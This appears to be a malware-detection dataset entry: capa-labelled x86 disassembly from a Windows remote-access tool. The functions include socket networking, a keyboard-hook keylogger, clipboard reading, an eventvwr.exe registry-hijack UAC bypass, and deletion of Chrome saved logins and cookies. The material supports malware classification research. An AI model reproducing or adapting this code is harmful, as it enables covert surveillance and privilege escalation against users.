joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402149
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 1]
push edi
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
and dword [esi + 0x30], 0
push dword [esi + 0x34]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ebx, eax
push 0
push dword [esi + 0x34]
push ebx
push dword [esi]
call sub.WS2_32.dll_recv
mov edi, eax
test edi, edi
jle 0x4021da
lea eax, [ebp - 1]
lea ecx, [ebp - 0x34]
push eax
push edi
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int__class_std::allocator_char__const__]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x14]
push eax
call dword [0x4142e8]
sub dword [esi + 0x30], edi
cmp dword [esi + 0x30], 0
jg 0x4021da
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov ecx, esi
push dword [ebp + 8]
push eax
call fcn.0040221e
push ebx
call dword [sym.imp.MSVCRT.dll_free]
test edi, edi
pop ecx
jg 0x402172
mov ecx, esi
call fcn.004020f4
mov ecx, esi
call fcn.0040221a
test al, al
je 0x402201
push 1
mov ecx, esi
call fcn.004026cb
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402526
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push 6
push 1
push 0
call sub.WS2_32.dll_socket
mov esi, eax
push 0x10
push 0x41a310
push esi
call sub.WS2_32.dll_connect
test eax, eax
jne 0x402569
push esi
lea eax, [ebp + 0xc]
sub esp, 0x10
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push dword [ebp + 8]
call fcn.00402440
add esp, 0x18
cmp byte [ebp + 0x1c], 0
je 0x402572
push esi
call sub.WS2_32.dll_closesocket
or esi, 0xffffffff
lea ecx, [ebp + 0xc]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x402580
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x38], bl
jne 0x402624
cmp byte [0x41ac80], bl
push edi
mov edi, dword [ebp + 8]
je 0x402608
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 2]
push edi
push eax
movzx eax, word [ebp - 4]
push eax
lea ecx, [ebp - 0x30]
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
lea eax, [ebp + 0xb]
push str.KeepAlive_Enabled__Timeout:__i_seconds_n
push eax
push str._02i:_02i:_02i:_03i__INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x20]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x18
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push ebx
push esi
push 0x40271d
push ebx
push ebx
mov byte [esi + 0x38], 1
mov dword [esi + 0x3c], edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
jmp 0x402626
xor al, al
pop esi
pop ebx
leave
ret 4
Function at 0x403067
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
cmp dword [0x41a15c], ebx
push esi
push edi
je 0x403081
push 1
jmp 0x40316d
call fcn.0040322e
cmp eax, 0x3a9f
jge 0x40316e
push ebx
push 0x41465c
push str.mscfile_shellopencommand
lea eax, [ebp - 0x14]
push closesocket
push eax
call fcn.0040b3b2
add esp, 0x14
mov esi, 0x41ac98
mov ecx, esi
push 3
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
inc eax
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.origmsc
mov ecx, 0x41aa30
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, closesocket
push eax
push edi
call fcn.0040b788
add esp, 0x20
lea eax, [ebp - 1]
push 2
sub esp, 0x10
mov ecx, esp
push eax
push 0x41aa54
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
mov esi, 0x4147f4
push esi
push 0x41479c
push edi
call fcn.0040b649
push str.eventvwr.exe
lea eax, [ebp - 0x24]
push 0x34
push eax
call fcn.00412f8a
add esp, 0x2c
lea ecx, [ebp - 0x24]
push ebx
push esi
push esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x403159
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404cfc
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x413c24
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, 0x41a8c8
mov ecx, esi
call fcn.00404dde
cmp edi, eax
jae 0x404d7c
push edi
mov ecx, esi
call fcn.00404df4
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x404d70
push edi
mov ecx, esi
call fcn.00404df4
mov eax, dword [eax + 8]
push dword [eax]
call sub.WS2_32.dll_closesocket
push 0
push edi
mov ecx, esi
call fcn.00404df4
push dword [eax + 4]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, esi
call fcn.0040a217
lea ecx, [edi + edi*2]
lea eax, [eax + ecx*4]
push eax
mov ecx, esi
call fcn.00404e21
inc edi
mov dword [ebp - 0x14], edi
jmp 0x404d1c
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404fef
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea eax, [ebp + 8]
push edi
push eax
lea ecx, [esi + 0x54]
mov byte [esi + 0x3c], 1
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.00404fc5
xor edi, edi
cmp byte [0x41a158], 0x32
mov ebx, str.Offline_Keylogger_Started
je 0x405038
push edi
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405c2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.004119fe
add esp, 0x20
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
push edi
push edi
push esi
push 0x4050fa
push edi
push edi
call ebx
cmp dword [esi], edi
jne 0x405086
push edi
push edi
push esi
push 0x4050da
push edi
push edi
call ebx
push edi
push edi
push esi
push 0x405109
push edi
push edi
call ebx
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4050a2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x54]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
xor eax, eax
cmp byte [esi + 0x3c], al
jne 0x4050cc
push eax
push eax
push esi
push 0x4050e9
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop esi
pop ebp
ret 0x10

Function at 0x405145
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [0x41a998], esi
cmp dword [esi], edi
jne 0x405170
push edi
push edi
push 0x40512a
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
cmp dword [esi], edi
je 0x405197
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x405197
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40516c
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x4053a2
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x41a978]
push ebx
or eax, dword [0x41a97c]
push esi
push edi
mov esi, ecx
je 0x405453
xor ebx, ebx
mov byte [esi + 0x30], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x41a944
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405426
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
xor ecx, ecx
cmp ecx, dword [0x41a97c]
jb 0x40541d
ja 0x405402
cmp eax, dword [0x41a978]
jb 0x40541d
cmp byte [esi + 0x3c], bl
mov byte [esi + 0x30], 1
je 0x405412
mov ecx, esi
call fcn.00405baa
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405429
mov byte [esi + 0x30], bl
cmp byte [esi + 0x30], 1
je 0x4053bd
cmp byte [esi + 0x3c], bl
jne 0x405453
cmp byte [0x41a158], 0x31
jne 0x405453
sub esp, 0x10
lea eax, [esi + 0x54]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.00404fef
pop edi
pop esi
pop ebx
ret
Function at 0x405a16
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp byte [esi + 0x3d], bl
jne 0x405ab5
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov edi, str.Online_Keylogger_Started
mov ecx, esp
mov byte [esi + 0x3d], 1
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405c2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.004119fe
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
add esp, 0x20
cmp byte [esi + 0x3c], bl
jne 0x405aa6
mov ecx, esi
call fcn.00404fc5
cmp dword [esi], ebx
jne 0x405a9a
push ebx
push ebx
push esi
push 0x4050da
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x405109
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x405118
push ebx
push ebx
call edi
mov dword [esi + 0x28], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406a29
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x406a55
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x406a55
lea eax, [ebp - 1]
push eax
push esi
jmp 0x406a5e
lea eax, [ebp - 1]
push eax
push 0x41465c
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop esi
leave
ret 4
Function at 0x406b39
Capabilities:
Delete directory
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 0x54]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
setne bl
add esi, 0x64
push 0x4147f4
push esi
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
test al, al
pop ecx
je 0x406b76
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
mov al, bl
pop esi
pop ebx
ret

Function at 0x406b7b
Capabilities:
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov esi, ecx
push 0
push 0x4050fa
and byte [esi + 0x3c], 0
call edi
mov eax, dword [esi]
test eax, eax
je 0x406bab
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and dword [esi], 0
push 0
push 0x4050da
call edi
mov ecx, esi
call fcn.00406b39
pop edi
pop esi
ret
Function at 0x406f49
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push eax
push 0x414d68
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x406fe3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
dec eax
je 0x406fd7
dec eax
je 0x406faa
xor bl, bl
jmp 0x407005
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8f0
call fcn.00405359
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x407010
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x406fb4
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8f0
call fcn.00405359
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x407013
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push eax
push 0x414d68
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x4070ad
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
dec eax
je 0x4070a1
dec eax
je 0x407074
xor bl, bl
jmp 0x4070cf
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8f0
call fcn.00405359
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x4070da
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x40707e
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8f0
call fcn.00405359
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret